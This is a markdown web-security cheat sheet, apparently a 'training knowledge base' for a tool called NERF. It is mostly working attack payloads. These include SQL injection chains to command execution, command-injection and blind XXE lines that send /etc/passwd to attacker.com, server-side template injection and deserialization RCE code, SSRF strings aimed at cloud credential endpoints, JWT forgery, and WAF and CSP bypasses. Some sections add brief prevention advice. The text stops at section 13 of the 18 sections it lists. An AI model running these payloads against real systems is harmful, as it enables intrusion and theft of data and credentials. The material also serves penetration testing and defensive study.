<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->

# NERF Web Security Deep Dive — Training Knowledge Base

**Generated**: 2026-03-14
**Sources**: awesome-web-security, awesome-web-hacking, WebHackersWeapons, API-Security-Checklist, feroxbuster, PortSwigger Web Security Academy, OWASP WSTG v4.2, OWASP Cheat Sheet Series, OWASP API Security Top 10

---

## Table of Contents

1. [Vulnerability Taxonomy](#1-vulnerability-taxonomy)
2. [Injection Attacks](#2-injection-attacks)
3. [Cross-Site Scripting (XSS)](#3-cross-site-scripting-xss)
4. [Server-Side Request Forgery (SSRF)](#4-server-side-request-forgery-ssrf)
5. [HTTP Request Smuggling](#5-http-request-smuggling)
6. [Web Cache Poisoning](#6-web-cache-poisoning)
7. [Prototype Pollution](#7-prototype-pollution)
8. [JWT Attacks](#8-jwt-attacks)
9. [Deserialization Attacks](#9-deserialization-attacks)
10. [WAF Bypass Techniques](#10-waf-bypass-techniques)
11. [CSP Bypass Techniques](#11-csp-bypass-techniques)
12. [Framework-Specific Vulnerabilities](#12-framework-specific-vulnerabilities)
13. [Browser Exploitation](#13-browser-exploitation)
14. [API Security](#14-api-security)
15. [OWASP Testing Methodology](#15-owasp-testing-methodology-wstg-v42)
16. [Defensive Controls Catalog](#16-defensive-controls-catalog)
17. [Attack Toolchain](#17-attack-toolchain)
18. [Feroxbuster Advanced Usage](#18-feroxbuster-advanced-usage)

---

## 1. Vulnerability Taxonomy

### PortSwigger Web Security Academy — 38 Vulnerability Categories (209+ Labs)

**Server-Side:**
| Category | Labs | ATT&CK |
|----------|------|--------|
| SQL Injection | 18 | T1190 |
| Authentication Flaws | 14 | T1078 |
| Path Traversal | 6 | T1083 |
| OS Command Injection | 5 | T1059 |
| Business Logic Vulnerabilities | 11 | T1190 |
| Information Disclosure | 5 | T1082 |
| Access Control | 13 | T1548 |
| File Upload Vulnerabilities | 7 | T1105 |
| Race Conditions | 6 | T1499 |
| Server-Side Request Forgery | 7 | T1090 |
| XXE Injection | 9 | T1190 |
| NoSQL Injection | 4 | T1190 |
| API Testing | 5 | T1190 |
| Web Cache Deception | 5 | T1557 |

**Client-Side:**
| Category | Labs | ATT&CK |
|----------|------|--------|
| Cross-Site Scripting (XSS) | 30 | T1059.007 |
| CSRF | 12 | T1185 |
| CORS Misconfiguration | 3 | T1557 |
| Clickjacking | 5 | T1185 |
| DOM-based Vulnerabilities | 7 | T1059.007 |
| WebSockets | 3 | T1071 |

**Advanced:**
| Category | Labs | ATT&CK |
|----------|------|--------|
| Insecure Deserialization | 10 | T1055 |
| Web LLM Attacks | 4 | T1059 |
| GraphQL API Vulnerabilities | 5 | T1190 |
| Server-Side Template Injection (SSTI) | 7 | T1059 |
| Web Cache Poisoning | 13 | T1557 |
| HTTP Host Header Attacks | 7 | T1557 |
| HTTP Request Smuggling | 22 | T1557 |
| OAuth Authentication | 6 | T1078 |
| JWT Attacks | 8 | T1078 |
| Prototype Pollution | 10 | T1059.007 |

### Additional Vulnerability Classes (from awesome-web-security)
- CSV Injection
- ORM Injection (HQL, Hibernate)
- FTP Injection (Java/Python FTP protocol injection)
- Relative Path Overwrite (RPO)
- Open Redirect
- SAML Authentication Bypass
- DNS Rebinding
- Header Injection / CRLF Injection

---

## 2. Injection Attacks

### 2.1 SQL Injection

**Classification:**
- **Error-based**: Extract data through database error messages
- **Union-based**: UNION SELECT to combine results from injected query
- **Blind Boolean**: Infer data from true/false response differences
- **Blind Time-based**: Infer data from response time differences (SLEEP/WAITFOR)
- **Out-of-band (OOB)**: Extract data via DNS/HTTP to attacker-controlled server
- **Second-order**: Payload stored and triggered in a different context later

**Database-Specific Payloads:**

MySQL:
```sql
' UNION SELECT 1,@@version,3-- -
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT schema_name FROM information_schema.schemata LIMIT 1),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)y)-- -
' AND EXP(~(SELECT * FROM (SELECT user())x))-- -
' AND IF(1=1,SLEEP(5),0)-- -
```

PostgreSQL:
```sql
'; SELECT pg_sleep(5)--
' UNION SELECT NULL,version(),NULL--
'; COPY (SELECT '') TO PROGRAM 'id'--  -- RCE via COPY TO PROGRAM
' AND 1=CAST((SELECT version()) AS int)--
```

MSSQL:
```sql
'; EXEC xp_cmdshell('whoami')--
' UNION SELECT 1,name,3 FROM master..sysdatabases--
'; EXEC sp_makewebtask '\\attacker\share\output.html','SELECT * FROM users'--
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
'; WAITFOR DELAY '0:0:5'--
```

Oracle:
```sql
' UNION SELECT NULL,banner,NULL FROM v$version--
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT user FROM dual))--
' AND DBMS_PIPE.RECEIVE_MESSAGE('x',5)=1--
```

**SQLi to RCE Chains:**
- MySQL: `INTO OUTFILE '/var/www/shell.php'` or `LOAD_FILE()`
- MSSQL: `xp_cmdshell`, `sp_OACreate`, linked servers
- PostgreSQL: `COPY TO PROGRAM`, large object functions
- Oracle: `DBMS_SCHEDULER`, Java stored procedures

**Prevention (Defense Priority Order):**
1. Prepared statements / parameterized queries (primary defense)
2. Stored procedures with parameterization
3. Allow-list input validation for non-bind scenarios
4. Escaping (last resort, fragile)
5. Least privilege DB accounts per application function
6. SQL views to restrict field/table access

### 2.2 NoSQL Injection

```javascript
// MongoDB operator injection
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
{"$where": "this.username == 'admin' && this.password.match(/^a/) != null"}

// GraphQL NoSQL injection through JSON types
query { user(input: {username: {"$gt": ""}, password: {"$gt": ""}}) { id } }
```

### 2.3 Command Injection

```bash
# Basic separators
; whoami
| whoami
|| whoami
& whoami
&& whoami
$(whoami)
`whoami`
\nwhoami

# Blind command injection
; ping -c 10 attacker.com
; curl http://attacker.com/$(whoami)
; nslookup $(cat /etc/passwd | base64).attacker.com

# Filter bypasses
;{cat,/etc/passwd}
;cat${IFS}/etc/passwd
;cat$IFS/etc/passwd
;X=$'cat\x20/etc/passwd'&&$X
;w]h[o]a[m]i
```

### 2.4 XXE — XML External Entity Injection

```xml
<!-- Basic file read -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

<!-- SSRF via XXE -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-server/admin">]>

<!-- Blind XXE with OOB exfiltration -->
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<!-- evil.dtd: -->
<!-- <!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/?data=%file;'>"> %all; %send; -->

<!-- XXE via file upload (SVG) -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

<!-- XXE OOB via FTP (Java 1.7+) -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "ftp://attacker:21/%file;">

<!-- Exploiting local DTDs for error-based XXE -->
<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
    &#x25;eval; &#x25;error;'>
  %local_dtd;
]>

<!-- Bypass OOB XXE fix using different encoding -->
<!-- Convert payload to UTF-16 or other encoding -->
```

### 2.5 SSTI — Server-Side Template Injection

```
# Detection polyglot
${{<%[%'"}}%\

# Jinja2 (Python)
{{config}}
{{config.items()}}
{{''.__class__.__mro__[2].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()[408]('cat /etc/passwd',shell=True,stdout=-1).communicate()}}

# Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Freemarker (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

# ERB (Ruby)
<%= system("cat /etc/passwd") %>
<%= `id` %>

# Velocity (Java)
#set($e="e")$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")

# Smarty (PHP)
{php}system('id');{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
```

### 2.6 LDAP Injection

```
# Authentication bypass
*)(uid=*))(|(uid=*
admin)(|(password=*))
*)(objectClass=*))(&(objectClass=void

# Data exfiltration
*)(uid=admin)(|(uid=*
```

---

## 3. Cross-Site Scripting (XSS)

### 3.1 XSS Types
- **Reflected**: Payload in request, reflected in response
- **Stored**: Payload persisted (database, logs, comments)
- **DOM-based**: Payload processed entirely client-side via DOM manipulation
- **Mutation XSS (mXSS)**: HTML sanitizer produces unsafe output from safe-looking input
- **Blind XSS**: Stored XSS that fires in admin panels / internal tools

### 3.2 Core Payloads

**Basic:**
```html
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
```

**No Parentheses / No Semicolons:**
```html
<script>onerror=alert;throw 1</script>
<script>alert`1`</script>
<img src=x onerror=alert`1`>
<svg onload=window.onerror=alert;throw+1>
```

**20-Character Limit:**
```html
<svg/onload=alert(1)>
```

**Without `<script>` Tag:**
```html
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<xss style="animation-name:x" onanimationend="alert(1)">
```

### 3.3 Filter Evasion Techniques

**Encoding Bypasses:**
```html
<!-- Decimal HTML entities -->
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">Click</a>

<!-- Hex HTML entities -->
<a href="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29">Click</a>

<!-- Hex without semicolons and zero-padded -->
<a href="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">Click</a>

<!-- Base64 data URI -->
<img onload="eval(atob('YWxlcnQoMSk='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

<!-- fromCharCode -->
<a href="javascript:alert(String.fromCharCode(88,83,83))">Click</a>
```

**Whitespace/Null Byte Injection:**
```html
<!-- Tab in javascript: URI (&#x09;) -->
<a href="jav&#x09;ascript:alert(1);">Click</a>

<!-- Newline (&#x0A;) -->
<a href="jav&#x0A;ascript:alert(1);">Click</a>

<!-- Carriage return (&#x0D;) -->
<a href="jav&#x0D;ascript:alert(1);">Click</a>

<!-- Null byte -->
<img src=java\0script:alert(1)>
```

**Tag Manipulation:**
```html
<!-- Non-alpha-non-digit separator -->
<SCRIPT/XSS SRC="http://attacker/xss.js"></SCRIPT>

<!-- Extraneous brackets -->
<<SCRIPT>alert(1);//\<</SCRIPT>

<!-- Half-open tag -->
<IMG SRC="javascript:alert(1)"

<!-- Broken attributes -->
<SCRIPT a=">" SRC="http://attacker/xss.js"></SCRIPT>
<SCRIPT =">" SRC="http://attacker/xss.js"></SCRIPT>
```

**Alert Obfuscation:**
```javascript
(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
alert?.()
```

**CSS-Based XSS (Legacy/IE):**
```html
<DIV STYLE="background-image:url(javascript:alert(1))">
<DIV STYLE="width: expression(alert(1));">
<XSS STYLE="xss:expr/**/ession(alert(1))">
<XSS STYLE="behavior: url(xss.htc);">
<STYLE>@im\port'\ja\vasc\ript:alert(1)';</STYLE>
```

**SVG / XML-based:**
```html
<svg/onload=alert(1)>
<svg><script>alert(1)</script></svg>
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
```

**META Tag Injection:**
```html
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(1);">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
```

### 3.4 Context-Specific XSS

**In JavaScript String:**
```javascript
'-alert(1)-'
';alert(1)//
\';alert(1)//
</script><script>alert(1)</script>
```

**In HTML Attribute:**
```html
" onfocus=alert(1) autofocus="
" onmouseover=alert(1) x="
' onfocus='alert(1)' autofocus='
```

**In URL/href:**
```html
javascript:alert(1)
data:text/html,<script>alert(1)</script>
```

**DOM XSS Sources:**
`document.URL`, `document.documentURI`, `document.referrer`, `location.href`, `location.search`, `location.hash`, `window.name`, `postMessage` data

**DOM XSS Sinks:**
`eval()`, `setTimeout()`, `setInterval()`, `Function()`, `innerHTML`, `outerHTML`, `document.write()`, `document.writeln()`, `element.src`, `element.href`, `jQuery.html()`, `$.append()`

### 3.5 Polyglot XSS Payload
```
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"`/+/onmouseover=1/+/[*/[]/+alert(42);//'>
```
Executes in HTML, script strings, JavaScript, and URL contexts.

---

## 4. Server-Side Request Forgery (SSRF)

### 4.1 Basic SSRF
```
# Against localhost
http://127.0.0.1/admin
http://localhost/admin
http://[::1]/admin
```

### 4.2 Blacklist Bypass Techniques
```
# Alternative IP representations for 127.0.0.1
http://2130706433/          # Decimal
http://017700000001/        # Octal
http://0x7f000001/          # Hex
http://0x7f.0x00.0x00.0x01/ # Dotted hex
http://0177.0.0.1/          # Dotted octal
http://127.1/               # Shortened
http://127.0.1/             # Shortened
http://0/                   # Zero (some systems)

# IPv6 representations
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://[::ffff:127.0.0.1]/
http://[::ffff:7f00:1]/

# DNS resolution to 127.0.0.1
http://spoofed.burpcollaborator.net/  # Points to 127.0.0.1
http://localtest.me/
http://127.0.0.1.nip.io/

# URL encoding
http://127.0.0.1%2523@attacker.com/
http://attacker.com%23@127.0.0.1/
```

### 4.3 Whitelist Bypass Techniques
```
# Credential embedding with @
http://expected-host@evil-host/
http://expected-host%25@evil-host/

# Fragment identifier with #
http://evil-host#expected-host/
http://evil-host%23expected-host/

# DNS hierarchy
http://expected-host.evil-host/

# Double encoding
http://127.0.0.1%252523@expected-host/

# URL parsing inconsistencies
http://expected-host\@evil-host/
http://foo@evil-host:80@expected-host/
```

### 4.4 SSRF via Open Redirect
```
# Chain SSRF through allowed domain with open redirect
POST /product/stock HTTP/1.1
stockApi=http://weblication.com/redirect?url=http://192.168.0.68/admin
```

### 4.5 Blind SSRF Exploitation
- Trigger out-of-band DNS/HTTP to attacker infrastructure
- Scan internal network ports (timing-based)
- Exploit Shellshock on internal hosts via User-Agent
- Abuse internal metadata endpoints (AWS/GCP/Azure)

### 4.6 Cloud Metadata SSRF Targets
```
# AWS IMDSv1
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data/

# GCP
http://metadata.google.internal/computeMetadata/v1/
Header: Metadata-Flavor: Google

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Header: Metadata: true

# DigitalOcean
http://169.254.169.254/metadata/v1/
```

---

## 5. HTTP Request Smuggling

### 5.1 CL.TE (Front-end: Content-Length, Back-end: Transfer-Encoding)
```http
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED
```

### 5.2 TE.CL (Front-end: Transfer-Encoding, Back-end: Content-Length)
```http
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


```

### 5.3 TE.TE Obfuscation (Both support TE, but one can be confused)
```http
Transfer-Encoding: chunked
Transfer-Encoding : chunked          # Space before colon
Transfer-Encoding: xchunked
Transfer-Encoding: chunked\r\nX:     # Extra header
Transfer-Encoding: chunked           # Tab character
Transfer-Encoding:
 chunked                             # Line wrap
Transfer-encoding: chunked           # Case variation
```

### 5.4 Exploitation Chains
- Bypass front-end security controls (WAF, ACL)
- Capture other users' requests (credential theft)
- Reflected XSS without user interaction
- Web cache poisoning via smuggled response
- Web cache deception to steal cached credentials
- Open redirect escalation

### 5.5 Detection
- Timing-based: delayed responses indicate desync
- Differential responses: smuggled prefix affects next request
- Use Burp Suite HTTP Request Smuggler extension

### 5.6 Prevention
- Use HTTP/2 end-to-end (not downgrade to HTTP/1.1 to backend)
- Normalize ambiguous requests at the front-end
- Reject requests with both CL and TE headers
- Close backend connections after each request

---

## 6. Web Cache Poisoning

### 6.1 Methodology
1. **Identify unkeyed inputs**: Headers not in cache key but processed by server
2. **Elicit harmful response**: Inject payload into unkeyed input
3. **Get response cached**: Hit cacheable endpoint

### 6.2 Common Unkeyed Inputs
```
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: http
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-For: 127.0.0.1
X-Host: attacker.com
X-Forwarded-Server: attacker.com
```

### 6.3 Attack Scenarios

**XSS via unkeyed header:**
```http
GET /en HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: attacker.com"></script><script>alert(1)</script>
```

**Resource import poisoning:**
```http
GET /js/main.js HTTP/1.1
Host: vulnerable.com
X-Forwarded-Host: attacker.com
```
If response includes: `<script src="//attacker.com/js/main.js">`

**Cache key injection:**
- Unkeyed port: `Host: vulnerable.com:1234`
- Parameter cloaking: `?param=value&utm_content=x%26callback=alert(1)`
- Fat GET requests: GET with body containing overriding parameters

### 6.4 Web Cache Deception (Distinct from Poisoning)
```
# Trick victim into visiting:
https://vulnerable.com/account/settings/nonexistent.css
# Cache stores authenticated response for /account/settings
# Attacker fetches cached page to steal data
```

### 6.5 Prevention
- Disable caching for dynamic content
- Cache only truly static resources
- Do not exclude headers from cache key if server processes them
- Reject fat GET requests
- Use `Vary` header properly
- Normalize requests before cache key generation

---

## 7. Prototype Pollution

### 7.1 Attack Vectors

**Via URL query string:**
```
?__proto__[isAdmin]=true
?__proto__.isAdmin=true
?constructor[prototype][isAdmin]=true
?constructor.prototype.isAdmin=true
```

**Via JSON input:**
```json
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}
```

**Via property merge/assignment:**
```javascript
// Vulnerable merge function
function merge(target, source) {
    for (let key in source) {
        if (typeof source[key] === 'object') {
            target[key] = merge(target[key] || {}, source[key]);
        } else {
            target[key] = source[key];
        }
    }
    return target;
}
// Exploit: merge({}, JSON.parse('{"__proto__":{"polluted":"yes"}}'))
```

### 7.2 Client-Side Exploitation (DOM XSS via Gadgets)

```
# Pollute transport_url used in script.src
?__proto__[transport_url]=data:,alert(1);//

# Pollute innerHTML via template literals
?__proto__[innerHTML]=<img src=x onerror=alert(1)>

# Pollute jQuery source attribute
?__proto__[source]=<img src=x onerror=alert(1)>
```

### 7.3 Server-Side Exploitation (RCE)

```json
// Pollute child_process.execSync/spawn environment
{
    "__proto__": {
        "shell": "/proc/self/exe",
        "argv0": "console.log(require('child_process').execSync('id').toString())//"
    }
}

// Pollute NODE_OPTIONS for RCE
{
    "__proto__": {
        "NODE_OPTIONS": "--require /proc/self/environ"
    }
}
```

### 7.4 Detection
- Param Miner (Burp extension)
- DOM Invader (Burp built-in)
- Manual: check if `({}).polluted` returns value after input
- Server-side: JSON spacing changes, charset changes, status code differences

### 7.5 Prevention
- Use `Object.create(null)` for dictionary objects
- Freeze prototypes: `Object.freeze(Object.prototype)`
- Use `Map` instead of plain objects
- Schema validation rejecting `__proto__` and `constructor`
- Sanitize JSON input keys

---

## 8. JWT Attacks

### 8.1 Algorithm None Attack
```json
// Change header algorithm to "none"
{"alg": "none", "typ": "JWT"}
// Remove signature (everything after second dot)
// Variations: "None", "NONE", "nOnE"
```

### 8.2 Weak Secret Brute Force
```bash
hashcat -a 0 -m 16500 <jwt_token> /usr/share/wordlists/rockyou.txt
# Then forge tokens with discovered secret
```

### 8.3 JWK Header Injection
```json
{
    "kid": "attacker-key-id",
    "typ": "JWT",
    "alg": "RS256",
    "jwk": {
        "kty": "RSA",
        "n": "<attacker-public-key-n>",
        "e": "AQAB"
    }
}
// Sign with attacker's private key; server uses embedded public key to verify
```

### 8.4 JKU Header Injection
```json
{
    "kid": "attacker-key-id",
    "typ": "JWT",
    "alg": "RS256",
    "jku": "https://attacker.com/.well-known/jwks.json"
}
// Host JWKS on attacker server with matching key
```

### 8.5 KID Parameter Attacks
```json
// Path traversal to predictable file
{"kid": "../../../dev/null", "alg": "HS256"}
// Sign with empty string as secret

// SQL injection via kid
{"kid": "key1' UNION SELECT 'attacker-secret' FROM dual--", "alg": "HS256"}
```

### 8.6 Algorithm Confusion (RS256 to HS256)
```
1. Obtain server's RSA public key
2. Convert to PEM format
3. Change algorithm from RS256 to HS256
4. Sign token using public key as HMAC secret
```

### 8.7 Prevention
- Strict algorithm whitelist (never accept `none`)
- Strong, unique secrets (not in wordlists)
- Ignore embedded JWK/JKU headers; use server-side key store
- Sanitize `kid` parameter (prevent path traversal, SQLi)
- Short expiration times with audience claims

---

## 9. Deserialization Attacks

### 9.1 Java Deserialization
**Indicators**: `AC ED 00 05` (hex), `rO0AB` (base64), Content-Type `application/x-java-serialized-object`

**Tools**: ysoserial, GadgetProbe, marshalsec

**Common gadget chains**: Apache Commons Collections, Spring, Hibernate, Groovy, JBoss

**Targets**: WebLogic (CVE-2019-2725), JBoss, Jenkins, OpenNMS, WebSphere

### 9.2 PHP Deserialization
```php
// Magic methods exploited: __wakeup(), __destruct(), __toString(), __call()
// POP chain construction through class autoloading
O:8:"ClassName":1:{s:4:"prop";s:7:"payload";}

// Phar deserialization (no unserialize() call needed)
// Upload .phar file, trigger via phar:// wrapper
phar://uploads/malicious.phar/test.txt
```

### 9.3 Python Deserialization (pickle)
```python
import pickle
import os
class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id',))
pickle.dumps(Exploit())
```

### 9.4 .NET Deserialization
**Tools**: ysoserial.net
**Targets**: ViewState, BinaryFormatter, SoapFormatter, ObjectStateFormatter, LosFormatter, NetDataContractSerializer
**Attack surface**: Telerik UI (CVE series), DotNetNuke cookies, Exchange (ProxyLogon chain)

### 9.5 Ruby Deserialization
**Marshal.load** with untrusted input leads to RCE through ERB template gadgets.

### 9.6 Node.js Deserialization
```javascript
// node-serialize vulnerability
var payload = {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id')}()"};
```

---

## 10. WAF Bypass Techniques

### 10.1 Encoding-Based Bypasses
```
# Double URL encoding
%253Cscript%253Ealert(1)%253C/script%253E

# Unicode escapes
\u003Cscript\u003Ealert(1)\u003C/script\u003E

# HTML entity encoding
&#60;script&#62;alert(1)&#60;/script&#62;

# Mixed encoding
%3Cscr%69pt%3Ealert(1)%3C/scr%69pt%3E

# Overlong UTF-8
%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE
```

### 10.2 Case and Whitespace Manipulation
```html
<ScRiPt>alert(1)</ScRiPt>
<SCRIPT>alert(1)</SCRIPT>
<scr    ipt>alert(1)</scr   ipt>
<scr\nipt>alert(1)</scr\nipt>
```

### 10.3 Content-Type Manipulation
```
# Send XSS payload in unexpected content type
Content-Type: application/x-www-form-urlencoded
Content-Type: multipart/form-data; boundary=something
Content-Type: application/json
```

### 10.4 HTTP Method Override
```
X-HTTP-Method-Override: PUT
X-Method-Override: DELETE
X-HTTP-Method: PATCH
```

### 10.5 Chunked Transfer Encoding
```
# Split payload across chunks to evade pattern matching
Transfer-Encoding: chunked

3
<sc
4
ript
1
>
```

### 10.6 JSON Encoding for WAF Bypass
```json
{"param": "<script>alert(1)</script>"}
```
Many WAFs don't inspect JSON bodies as thoroughly as URL parameters.

### 10.7 SQL Injection WAF Bypass
```sql
# Comment insertion
UN/**/ION SE/**/LECT
/*!50000UNION*/ /*!50000SELECT*/

# Alternative keywords
UNION ALL SELECT
UNION DISTINCT SELECT

# Case variation + inline comments
uNiOn/*!*/sElEcT

# Hex encoding
0x756E696F6E2073656C656374  -- "union select"

# No-space techniques
UNION(SELECT(1),(2),(3))

# libinjection bypass
1 AND 1=1#' AND 1=1--" AND 1=1--
```

### 10.8 Bypassing JSON Encoding + XSS Filter + WAF + CSP + Auditor
Reference: Airbnb vulnerability chain — bypass JSON encoding, XSS filter, WAF, CSP, and Chrome XSS Auditor simultaneously through request parameter pollution and alternative encodings.

---

## 11. CSP Bypass Techniques

### 11.1 CSP Bypass via Dynamic Module Import
```javascript
import('https://attacker.com/xss.js')
```
Bypasses `script-src` that doesn't account for dynamic imports.

### 11.2 CSP Bypass via form-action
```html
<!-- If form-action not set in CSP -->
<form action="https://attacker.com/steal">
  <input name="data" value="stolen">
  <button>Submit</button>
</form>
```

### 11.3 CSP Bypass via base-uri
```html
<!-- If base-uri not set -->
<base href="https://attacker.com/">
<!-- All relative URLs now resolve to attacker domain -->
```

### 11.4 CSP Bypass via Dangling Markup
```html
<!-- Steal page content via img tag with unclosed attribute -->
<img src="https://attacker.com/steal?data=
<!-- Everything until next matching quote becomes part of URL -->
```

### 11.5 CSP Bypass via Whitelisted CDN
```html
<!-- If CDN is whitelisted in script-src -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
```

### 11.6 CSP Bypass via JSONP Endpoints
```html
<!-- If domain with JSONP endpoint is whitelisted -->
<script src="https://whitelisted.com/api/jsonp?callback=alert(1)//">
</script>
```

### 11.7 CSP Bypass via Script Gadgets
DOM-based XSS through existing libraries (Script Gadgets research by Lekies, Kotowicz, Vela):
- Libraries parse HTML attributes and execute JavaScript
- `data-*` attributes in trusted scripts become execution vectors
- Bypasses strict CSP, XSS Auditor, WAF simultaneously

### 11.8 CSP Bypass via Policy Injection
```
# If CSP header value is controllable
Content-Security-Policy: script-src 'none'; script-src-attr 'unsafe-inline'
# Later directive overrides earlier in some implementations
```

---

## 12. Framework-Specific Vulnerabilities

### 12.1 Ruby on Rails
- **SQL Injection via ActiveRecord**: `where("name = '#{params[:name]}'")` — unsafe string interpolation
- **Mass Assignment**: Unprotected attributes allow privilege escalation
- **Deserialization**: `YAML.load` with user input leads to RCE
- **Secret key exposure**: Known secret_key_base enables session forgery and RCE
- **Tools**: Brakeman (SAST), bundler-audit (dependency checking)
- **Reference**: rails-sqli.org for unsafe ActiveRecord patterns

### 12.2 AngularJS
- **Client-Side Template Injection (CSTI)**:
```
{{constructor.constructor('alert(1)')()}}
```
- **Sandbox escapes** (pre-1.6):
```
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor)}}
```
- **DOM-based Angular sandbox escapes**: Exploit DOM clobbering in conjunction with Angular expressions

### 12.3 ReactJS
- **`dangerouslySetInnerHTML`**: Direct HTML injection if user-controlled
- **XSS via spoofed React elements**: Crafted objects with `$$typeof: Symbol.for('react.element')` bypass sanitization
- **Server-side rendering (SSR) XSS**: Initial HTML render may not have React protections

### 12.4 Vue.js
- **Template injection**: `{{constructor.constructor('alert(1)')()}}`
- **v-html directive**: Renders raw HTML (equivalent to innerHTML)
- **SSR template injection**: Server-rendered templates with user input

### 12.5 Django
- **Template injection**: `{% debug %}` in debug mode exposes settings
- **ORM injection**: `extra()` and `raw()` with user input
- **DEBUG=True exposure**: Stack traces, settings, SQL queries leaked

### 12.6 Node.js / Express
- **Prototype pollution** in deep merge libraries (lodash.merge, deepmerge)
- **ReDoS**: Regular expression denial of service
- **Path traversal**: `path.join` with user input containing `../`
- **Deserialization RCE**: node-serialize, funcster

### 12.7 PHP Frameworks
- **Type juggling**: `"0e123" == "0e456"` evaluates to true (magic hashes)
- **Object injection**: `unserialize()` with user input
- **Phar deserialization**: File operations on `phar://` trigger deserialization
- **LFI/RFI**: `include($_GET['page'])`
- **mail() header injection**: Newlines in mail parameters

---

## 13. Browser Exploitation

### 13.1 Frontend Attacks
- **SOP bypass / UXSS**: Universal XSS via browser bugs that break Same-Origin Policy
- **URL spoofing**: Address bar manipulation via history API, special characters
- **The Inception Bar**: Mobile browser chrome spoofing via scroll-based phishing
- **JSON hijacking**: Stealing data from JSON responses via script tag inclusion
- **CRLF injection**: Setting arbitrary request headers via header injection in Chromium
- **Cookie Monster**: Cross-subdomain cookie manipulation
- **Site Isolation bypass**: Exploiting compromised renderers
- **CSS-based deanonymization**: Using CSS features for timing side-channels to identify users
- **CSS keylogging**: Extracting keystrokes via CSS `input[value^="a"]` selectors with background-image URLs

### 13.2 Backend (Engine/Renderer Exploitation)
- **V8 OOB write exploitation**: Type confusion and out-of-bounds access in JavaScript engines
- **WebKit exploitation**: Memory corruption through DOM/CSS rendering
